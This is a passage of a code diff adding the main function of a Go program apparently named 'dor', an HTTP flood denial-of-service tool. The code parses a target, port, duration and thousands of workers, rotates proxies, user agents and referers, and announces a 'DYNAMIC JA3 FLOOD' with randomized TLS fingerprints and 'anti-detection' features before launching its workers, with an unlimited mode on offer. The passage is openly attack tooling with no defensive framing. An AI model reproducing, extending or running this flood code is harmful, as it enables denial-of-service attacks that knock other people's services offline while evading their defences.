|
|
1169
|
+
} else {
|
|
1170
|
+
target = rawTarget
|
|
1171
|
+
}
|
|
1172
|
+
// Remove port from target if present
|
|
1173
|
+
if idx := strings.Index(target, ":"); idx != -1 {
|
|
1174
|
+
target = target[:idx]
|
|
1175
|
+
}
|
|
1176
|
+
fmt.Sscanf(os.Args[2], "%d", &port)
|
|
1177
|
+
timeArg = os.Args[3]
|
|
1178
|
+
workers, _ = strconv.Atoi(os.Args[4])
|
|
1179
|
+
if len(os.Args) >= 6 {
|
|
1180
|
+
proxyFile = os.Args[5]
|
|
1181
|
+
}
|
|
1182
|
+
} else {
|
|
1183
|
+
flag.StringVar(&target, "target", "", "Target")
|
|
1184
|
+
flag.IntVar(&port, "port", 443, "Port")
|
|
1185
|
+
flag.StringVar(&timeArg, "time", "60", "Duration")
|
|
1186
|
+
flag.IntVar(&workers, "workers", 5000, "Workers")
|
|
1187
|
+
flag.StringVar(&proxyFile, "proxy", "", "Proxy file")
|
|
1188
|
+
flag.Parse()
|
|
1189
|
+
}
|
|
1190
|
+
|
|
1191
|
+
if target == "" || port <= 0 {
|
|
1192
|
+
fmt.Println(RED + BOLD + " Usage: ./dor <target> <port> <duration> <threads>" + RESET)
|
|
1193
|
+
fmt.Println(DIM + " Example: ./dor example.com 443 60 5000" + RESET)
|
|
1194
|
+
os.Exit(1)
|
|
1195
|
+
}
|
|
1196
|
+
|
|
1197
|
+
duration := 60
|
|
1198
|
+
isUnlimited := false
|
|
1199
|
+
if timeArg == "max" || timeArg == "unlimited" || timeArg == "inf" {
|
|
1200
|
+
isUnlimited = true
|
|
1201
|
+
} else {
|
|
1202
|
+
fmt.Sscanf(timeArg, "%d", &duration)
|
|
1203
|
+
if duration <= 0 {
|
|
1204
|
+
duration = 60
|
|
1205
|
+
}
|
|
1206
|
+
}
|
|
1207
|
+
|
|
1208
|
+
scheme := "https"
|
|
1209
|
+
if port == 80 {
|
|
1210
|
+
scheme = "http"
|
|
1211
|
+
}
|
|
1212
|
+
|
|
1213
|
+
if proxyFile == "" {
|
|
1214
|
+
for _, p := range []string{"proxy.txt", "./proxy.txt"} {
|
|
1215
|
+
if _, err := os.Stat(p); err == nil {
|
|
1216
|
+
proxyFile = p
|
|
1217
|
+
break
|
|
1218
|
+
}
|
|
1219
|
+
}
|
|
1220
|
+
}
|
|
1221
|
+
|
|
1222
|
+
initQueryParamPool()
|
|
1223
|
+
|
|
1224
|
+
uaLoader := NewUALoader(UA_FILE_PATH)
|
|
1225
|
+
refererLoader := NewRefererLoader(REFERER_FILE_PATH)
|
|
1226
|
+
proxyMgr := NewProxyManager(proxyFile)
|
|
1227
|
+
cookieJar := new(CookieJar)
|
|
1228
|
+
rateLearner := NewRateLearner(fmt.Sprintf("%s:%d", target, port))
|
|
1229
|
+
headerTemplates := BuildHeaderTemplates()
|
|
1230
|
+
|
|
1231
|
+
// Init shared transport pool (4 transports, 1 per browser fingerprint)
|
|
1232
|
+
initSharedTransports(target)
|
|
1233
|
+
|
|
1234
|
+
startTime = time.Now()
|
|
1235
|
+
|
|
1236
|
+
var fpNames []string
|
|
1237
|
+
for _, fp := range browserFingerprints {
|
|
1238
|
+
fpNames = append(fpNames, fp.name)
|
|
1239
|
+
}
|
|
1240
|
+
|
|
1241
|
+
drawHeader(target, port, duration, workers, proxyMgr.Count(), uaLoader.Count(), refererLoader.Count(), isUnlimited)
|
|
1242
|
+
|
|
1243
|
+
fmt.Println(RGB_RED + " " + BOLD + "🚀 INITIATING DYNAMIC JA3 FLOOD..." + RESET)
|
|
1244
|
+
fmt.Println()
|
|
1245
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Dynamic JA3 Engine (∞ unique fingerprints)" + RESET)
|
|
1246
|
+
fmt.Println(BRIGHT_CYAN + " [✓] " + strconv.Itoa(len(dynamicCipherPool)) + " Cipher Suites (randomized per-connection)" + RESET)
|
|
1247
|
+
fmt.Println(BRIGHT_CYAN + " [✓] " + strconv.Itoa(len(extensionPool)) + " TLS Extensions (dynamic ordering)" + RESET)
|
|
1248
|
+
fmt.Println(BRIGHT_CYAN + " [✓] GREASE Injection (anti-detection)" + RESET)
|
|
1249
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Per-Worker Transport (no contention)" + RESET)
|
|
1250
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Header Templates (clone, not 15 Set calls)" + RESET)
|
|
1251
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Pre-computed UA Profiles (" + strconv.Itoa(uaLoader.Count()) + " entries)" + RESET)
|
|
1252
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Worker-Local Builders (no sync.Pool)" + RESET)
|
|
1253
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Query Param Pool (64 pre-generated)" + RESET)
|
|
1254
|
+
fmt.Println(BRIGHT_CYAN + " [✓] HTTP/2 Multiplexing + TLS Session Cache" + RESET)
|
|
1255
|
+
fmt.Println(BRIGHT_CYAN + " [✓] SO_REUSEPORT + TCP_NODELAY" + RESET)
|
|
1256
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Referer Rotation (" + strconv.Itoa(refererLoader.Count()) + " URLs)" + RESET)
|
|
1257
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Cookie Session Support" + RESET)
|
|
1258
|
+
fmt.Println(BRIGHT_CYAN + " [✓] Real-time Latency Tracking" + RESET)
|
|
1259
|
+
fmt.Println()
|
|
1260
|
+
|
|
1261
|
+
if proxyMgr.Count() > 0 {
|
|
1262
|
+
fmt.Println(YELLOW + " ⚠️ PROXY MODE ACTIVE (" + strconv.Itoa(proxyMgr.Count()) + " proxies)" + RESET)
|
|
1263
|
+
fmt.Println()
|
|
1264
|
+
}
|
|
1265
|
+
|
|
1266
|
+
fmt.Println()
|
|
1267
|
+
|
|
1268
|
+
stopChan := make(chan struct{})
|
|
1269
|
+
go printStats(stopChan, duration, isUnlimited)
|
|
1270
|
+
|
|
1271
|
+
var wg sync.WaitGroup
|
|
1272
|
+
|
|
1273
|
+
fmt.Println(RGB_RED + " [" + BOLD + "FIRE" + RESET + RGB_RED + "]" + RESET + WHITE + " Starting flood with " + BOLD + YELLOW + strconv.Itoa(workers) + RESET + WHITE + " workers..." + RESET)
|
|
1274
|
+
fmt.Println()
|
|
1275
|
+
|
|
1276
|
+
for i := 0; i < workers; i++ {
|
|
1277
|
+
wg.Add(1)
|
|
1278
|
+
go worker(i, target, port, scheme, customPath, proxyMgr, rateLearner, uaLoader, cookieJar, refererLoader, headerTemplates, &wg, stopChan)
|
|
1279
|
+
}
|
|
1280
|
+
|
|
1281
|
+
if !isUnlimited {
|
|
1282
|
+
time.Sleep(time.Duration(duration) * time.Second)
|
|
1283
|
+
} else {
|
|
1284
|
+
fmt.Println(CYAN + " [INFO] Running in unlimited mode. Press Ctrl+C to stop." + RESET)
|
|
1285
|
+
}
|
|
1286
|
+
|
|
1287
|
+
atomic.StoreInt32(&stopFlag, 1)
|
|
1288
|
+
close(stopChan)
|
|
1289
|
+
|
|
1290
|
+
done := make(chan struct{})
|
|
1291
|
+
go func() {
|
|
1292
|
+
wg.Wait()
|
|
1293
|
+
close(done)
|
|
1294
|
+
}()
|
|
1295
|
+
|
|
1296
|
+
select {
|
|
1297
|
+
case <-done:
|
|
1298
|
+
case <-time.After(3 * time.Second):
|
|
1299
|
+
}
|
|
1300
|
+
|
|
1301
|
+
drawFinalReport(time.Since(startTime).Seconds())
|
|
1302
|
+
}
|